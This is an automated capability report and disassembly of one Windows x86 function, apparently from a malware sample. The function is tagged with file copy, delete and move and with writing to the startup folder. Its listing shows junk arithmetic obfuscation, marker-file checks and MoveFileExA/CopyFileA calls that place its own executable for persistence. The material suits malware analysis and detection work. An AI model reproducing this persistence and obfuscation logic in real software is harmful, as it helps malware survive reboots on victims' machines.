Function at 0x40e200
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45f540]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45dbe4]
mov eax, 0x4a4dc96f
imul esi
mov eax, dword [0x45dbd0]
sar edx, 8
mov ecx, edx
push edi
mov edi, dword [0x45dbcc]
lea ebx, [eax + edi]
shr ecx, 0x1f
imul ebx, ebx, 0x2a6
add ecx, edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
add ebx, edx
mov esi, edx
mov eax, 0xf07fc3e1
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x175
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, dword [0x45dbdc]
imul eax, eax, 0x92
add edx, ecx
add edx, esi
mov esi, dword [0x45dbd8]
add eax, edx
mov edx, dword [0x45dbc8]
mov dword [0x45dbdc], eax
mov eax, dword [0x45dbd4]
lea ebx, [eax + edx]
mov edi, dword [str._r_____r____]
imul ebx, ebx, 0x15b
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x323
sub ebx, eax
add ebx, edx
mov eax, 0xad602b59
imul edi
add edx, edi
sar edx, 9
mov edi, edx
add ebx, edx
mov eax, 0xc152500d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, ebx
add eax, edx
sub edi, eax
sub edi, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbe4], edi
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x40e7ef
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x40e7ef
mov edx, dword [0x45dbc8]
mov ecx, dword [0x45dbe0]
lea esi, [edx + ecx]
mov ecx, dword [0x45dbd0]
imul esi, esi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
mov esi, edx
add edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
shr esi, 0x1f
sar edx, 7
add esi, edi
mov ecx, edx
add esi, edx
push 0x104
lea edx, [esp + 0x214]
shr ecx, 0x1f
push edx
add ecx, esi
push 0
mov dword [0x45dbc8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.004313b0
push str..exe
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.004305b1
mov ecx, dword [0x45dbd8]
mov ebx, dword [0x45dbe8]
mov edx, dword [0x45dbdc]
imul ebx, ebx, 0x338
mov eax, ecx
imul eax, eax, 0x372
add ebx, eax
mov edi, dword [0x45dbd0]
mov eax, 0x4a4dc96f
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xad602b59
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbc8]
add esp, 0x18
sub ebx, eax
imul edx, edx, 0x221
add ebx, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe4]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
push 0
sub eax, ecx
push 0x18
lea ecx, [esp + 0x118]
push ecx
sub eax, 0x92
push 0
mov dword [0x45dbd0], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e490
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44e274
push edx
call fcn.004305b1
mov esi, dword [0x45dbe8]
mov eax, 0x96d4b1f
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov edi, dword [0x45dbd4]
mov eax, 0x13e22cbd
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0xa33a575b
imul edi
mov ebx, dword [0x45dbe0]
sub ebp, ecx
add edx, edi
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x323
sub ebp, ecx
add ebp, edx
mov eax, 0x5e6ea9af
imul ebx
imul ebx, ebx, 0x15b
mov eax, esi
sar edx, 7
imul eax, eax, 0x92
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, ebx
sub ecx, eax
add esp, 0xc
mov dword [0x45dbd8], ecx
xor ebx, ebx
jmp 0x40e554
mov ecx, dword [0x45dbd8]
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov edx, dword [0x45dbd0]
imul edi, edi, 0x338
imul ecx, ecx, 0x175
lea eax, [esi + edx]
imul eax, eax, 0x2f4
sub eax, edi
mov dword [esp + 0x10], eax
mov eax, 0xc152500d
imul esi
mov eax, dword [esp + 0x10]
add edx, esi
mov esi, dword [0x45dbcc]
sar edx, 9
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0xad602b59
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45dbdc]
imul ecx, ecx, 0x92
lea edx, [esp + 0x14]
sub edi, ecx
push 0
push edx
mov dword [0x45dbe0], edi
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x40e5e4
lea eax, [esp + 0x14]
push eax
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40e542
mov esi, dword [0x45dbc8]
mov ecx, dword [0x45dbd0]
mov edx, dword [0x45dbd8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x323
mov eax, 0xa33a575b
imul edi, edi, 0x365
imul esi
add edx, esi
sar edx, 9
add edi, edx
mov ebx, edx
mov eax, 0x5e6ea9af
imul esi
mov esi, dword [0x45dbe4]
shr ebx, 0x1f
sar edx, 7
add ebx, edi
sub ebx, ecx
add ebx, edx
mov ecx, edx
mov eax, 0x57d990d1
imul dword [str._r_____r____]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x92
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [esp + 0x31c]
sub ecx, eax
sub ecx, edx
test ebx, ebx
mov dword [0x45dbe8], ecx
je 0x40e670
cmp ebx, 2
jne 0x40e750
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
test eax, eax
jne 0x40e744
mov ecx, dword [0x45dbd4]
mov edi, dword [0x45dbe8]
mov eax, 0x4a4dc96f
imul edi, edi, 0x338
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xa33a575b
imul ecx
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
add edi, edx
mov ebx, edx
mov eax, 0x4a4dc96f
imul ecx
sar edx, 8
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x365
shr edi, 0x1f
add edi, ebx
add edi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
mov ecx, dword [0x45dbdc]
sar edx, 9
imul ecx, ecx, 0x221
mov eax, edx
shr eax, 0x1f
add eax, edx
push 6
sub edi, eax
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x1c]
add edi, ecx
push eax
mov dword [str._r_____r____], edi
call esi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.004303dd
add esp, 0x308
ret
mov esi, dword [0x45dbe4]
mov ecx, dword [0x45dbe8]
mov edi, dword [0x45dbd4]
imul ecx, ecx, 0x338
imul esi, esi, 0x92
mov eax, 0xa33a575b
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
sub ebp, ecx
mov ecx, dword [0x45dbe0]
mov eax, 0xf07fc3e1
imul ecx, ecx, 0x365
imul edi
add edx, edi
sar edx, 9
add ebp, ecx
mov ecx, dword [0x45dbcc]
add ebp, edx
mov edi, edx
mov eax, 0x5e6ea9af
imul ecx
sar edx, 7
shr edi, 0x1f
add edi, ebp
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
add eax, esi
sub eax, edx
add eax, 0x2f4
cmp ebx, 1
mov dword [0x45dbcc], eax
je 0x40e7d3
cmp ebx, 2
jne 0x40e7e8
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e72b
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.004303dd
add esp, 0x308
ret